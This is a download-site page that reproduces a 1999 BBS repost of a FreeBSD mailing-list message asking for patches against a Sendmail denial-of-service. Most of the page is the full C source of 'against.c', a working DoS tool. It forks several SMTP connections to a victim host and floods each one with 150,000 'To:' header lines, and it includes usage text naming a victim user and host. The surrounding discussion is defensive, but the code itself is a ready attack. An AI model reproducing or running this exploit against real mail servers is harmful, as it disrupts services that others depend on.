⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 00000012.htm

📁 一份很好的linux入门资料
💻 HTM
字号:
<HTML><HEAD>  <TITLE>BBS水木清华站∶精华区</TITLE></HEAD><BODY><CENTER><H1>BBS水木清华站∶精华区</H1></CENTER>发信人:&nbsp;Numb&nbsp;(麻木),&nbsp;信区:&nbsp;Linux&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>标&nbsp;&nbsp;题:&nbsp;latest&nbsp;sendmail&nbsp;DoS&nbsp;<BR>发信站:&nbsp;BBS&nbsp;水木清华站&nbsp;(Wed&nbsp;Jan&nbsp;20&nbsp;16:11:26&nbsp;1999)&nbsp;<BR>&nbsp;<BR>Subject:&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;latest&nbsp;sendmail&nbsp;DOS&nbsp;<BR>&nbsp;&nbsp;Date:&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Tue,&nbsp;19&nbsp;Jan&nbsp;1999&nbsp;14:52:56&nbsp;-0500&nbsp;<BR>&nbsp;&nbsp;From:&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Mike&nbsp;Tancsa&nbsp;&lt;<A HREF="mailto:mike@sentex.net>">mike@sentex.net></A>&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;To:&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<A HREF="mailto:questions@FreeBSD.ORG">questions@FreeBSD.ORG</A>&nbsp;<BR>&nbsp;<BR>&nbsp;<BR>Are&nbsp;there&nbsp;any&nbsp;patches&nbsp;available&nbsp;for&nbsp;the&nbsp;Sendmail&nbsp;DOS&nbsp;below&nbsp;?&nbsp;<BR>&nbsp;<BR>Thanks,&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;---Mike&nbsp;<BR>&nbsp;<BR>/*&nbsp;<BR>&nbsp;&nbsp;against.c&nbsp;-&nbsp;Another&nbsp;Sendmail&nbsp;(and&nbsp;pine&nbsp;;-)&nbsp;DoS&nbsp;(up&nbsp;to&nbsp;8.9.2)&nbsp;<BR>&nbsp;&nbsp;(c)&nbsp;1999&nbsp;by&nbsp;&lt;<A HREF="mailto:marchew@linux.lepszy.od.kobiety.pl>">marchew@linux.lepszy.od.kobiety.pl></A>&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;Usage:&nbsp;./against&nbsp;existing_user_on_victim_host&nbsp;victim_host&nbsp;<BR>&nbsp;&nbsp;Example:&nbsp;./against&nbsp;nobody&nbsp;lamers.net&nbsp;<BR>&nbsp;<BR>*/&nbsp;<BR>&nbsp;<BR>#include&nbsp;&lt;stdio.h&gt;&nbsp;<BR>#include&nbsp;&lt;unistd.h&gt;&nbsp;<BR>#include&nbsp;&lt;sys/param.h&gt;&nbsp;<BR>#include&nbsp;&lt;sys/socket.h&gt;&nbsp;<BR>#include&nbsp;&lt;sys/time.h&gt;&nbsp;<BR>#include&nbsp;&lt;netinet/in.h&gt;&nbsp;<BR>#include&nbsp;&lt;netdb.h&gt;&nbsp;<BR>#include&nbsp;&lt;stdarg.h&gt;&nbsp;<BR>#include&nbsp;&lt;errno.h&gt;&nbsp;<BR>#include&nbsp;&lt;signal.h&gt;&nbsp;<BR>#include&nbsp;&lt;getopt.h&gt;&nbsp;<BR>#include&nbsp;&lt;stdlib.h&gt;&nbsp;<BR>#include&nbsp;&lt;string.h&gt;&nbsp;<BR>&nbsp;<BR>#define&nbsp;MAXCONN&nbsp;5&nbsp;<BR>#define&nbsp;LINES&nbsp;&nbsp;&nbsp;150000&nbsp;<BR>&nbsp;<BR>struct&nbsp;hostent&nbsp;*hp;&nbsp;<BR>struct&nbsp;sockaddr_in&nbsp;s;&nbsp;<BR>int&nbsp;suck,loop,x;&nbsp;<BR>&nbsp;<BR>int&nbsp;main(int&nbsp;argc,char*&nbsp;argv[])&nbsp;{&nbsp;<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;printf(&quot;against.c&nbsp;-&nbsp;another&nbsp;Sendmail&nbsp;DoS&nbsp;(up&nbsp;to&nbsp;8.9.2)\n&quot;);&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;if&nbsp;(argc-3)&nbsp;{&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;Usage:&nbsp;%s&nbsp;victim_user&nbsp;victim_host\n&quot;,argv[0]);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;exit(0);&nbsp;<BR>&nbsp;&nbsp;}&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;hp=gethostbyname(argv[2]);&nbsp;<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;if&nbsp;(!hp)&nbsp;{&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;perror(&quot;gethostbyname&quot;);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;exit(1);&nbsp;<BR>&nbsp;&nbsp;}&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;fprintf(stderr,&quot;Doing&nbsp;mess:&nbsp;&quot;);&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;for&nbsp;(;loop&lt;MAXCONN;loop++)&nbsp;if&nbsp;(!(x=fork()))&nbsp;{&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;FILE*&nbsp;d;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bcopy(hp-&gt;h_addr,(void*)&amp;s.sin_addr,hp-&gt;h_length);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;s.sin_family=hp-&gt;h_addrtype;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;s.sin_port=htons(25);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;((suck=socket(AF_INET,SOCK_STREAM,0))&lt;0)&nbsp;perror(&quot;socket&quot;);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(connect(suck,(struct&nbsp;sockaddr&nbsp;*)&amp;s,sizeof(s)))&nbsp;perror(&quot;connect&quot;);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!(d=fdopen(suck,&quot;w&quot;)))&nbsp;{&nbsp;perror(&quot;fdopen&quot;);&nbsp;exit(0);&nbsp;}&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;usleep(100000);&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;fprintf(d,&quot;helo&nbsp;tweety\n&quot;);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;fprintf(d,&quot;mail&nbsp;from:&nbsp;<A HREF="mailto:tweety@polbox.com\n");">tweety@polbox.com\n");</A>&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;fprintf(d,&quot;rcpt&nbsp;to:&nbsp;%s@%s\n&quot;,argv[1],argv[2]);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;fprintf(d,&quot;data\n&quot;);&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;usleep(100000);&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;for(loop=0;loop&lt;LINES;loop++)&nbsp;{&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!(loop%100))&nbsp;fprintf(stderr,&quot;.&quot;);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(d,&quot;To:&nbsp;x\n&quot;);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;fprintf(d,&quot;\n\n\nsomedata\n\n\n&quot;);&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;fprintf(d,&quot;.\n&quot;);&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;sleep(1);&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;fprintf(d,&quot;quit\n&quot;);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;fflush(d);&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;sleep(100);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;shutdown(suck,2);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;close(suck);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;exit(0);&nbsp;<BR>&nbsp;&nbsp;}&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;waitpid(x,&amp;loop,0);&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;fprintf(stderr,&quot;ok\n&quot;);&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;return&nbsp;0;&nbsp;<BR>}&nbsp;<BR>&nbsp;<BR>------------------------------------------------------------------------&nbsp;<BR>Mike&nbsp;Tancsa,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tel&nbsp;01.519.651.3400&nbsp;<BR>Network&nbsp;Administrator,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<A HREF="mailto:noc@sentex.net">noc@sentex.net</A>&nbsp;<BR>Sentex&nbsp;Communications&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;www.sentex.net&nbsp;<BR>Cambridge,&nbsp;Ontario&nbsp;Canada&nbsp;<BR>&nbsp;<BR>To&nbsp;Unsubscribe:&nbsp;send&nbsp;mail&nbsp;to&nbsp;<A HREF="mailto:majordomo@FreeBSD.org">majordomo@FreeBSD.org</A>&nbsp;<BR>with&nbsp;&quot;unsubscribe&nbsp;freebsd-questions&quot;&nbsp;in&nbsp;the&nbsp;body&nbsp;of&nbsp;the&nbsp;message&nbsp;<BR>&nbsp;<BR>&nbsp;<BR>&nbsp;<BR>&nbsp;<BR>这是我今天收到的mail,我还没来得及试...&nbsp;<BR>&nbsp;<BR>--&nbsp;<BR>※&nbsp;来源:·BBS&nbsp;水木清华站&nbsp;bbs.net.tsinghua.edu.cn·[FROM:&nbsp;202.114.8.209]&nbsp;<BR><CENTER><H1>BBS水木清华站∶精华区</H1></CENTER></BODY></HTML>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -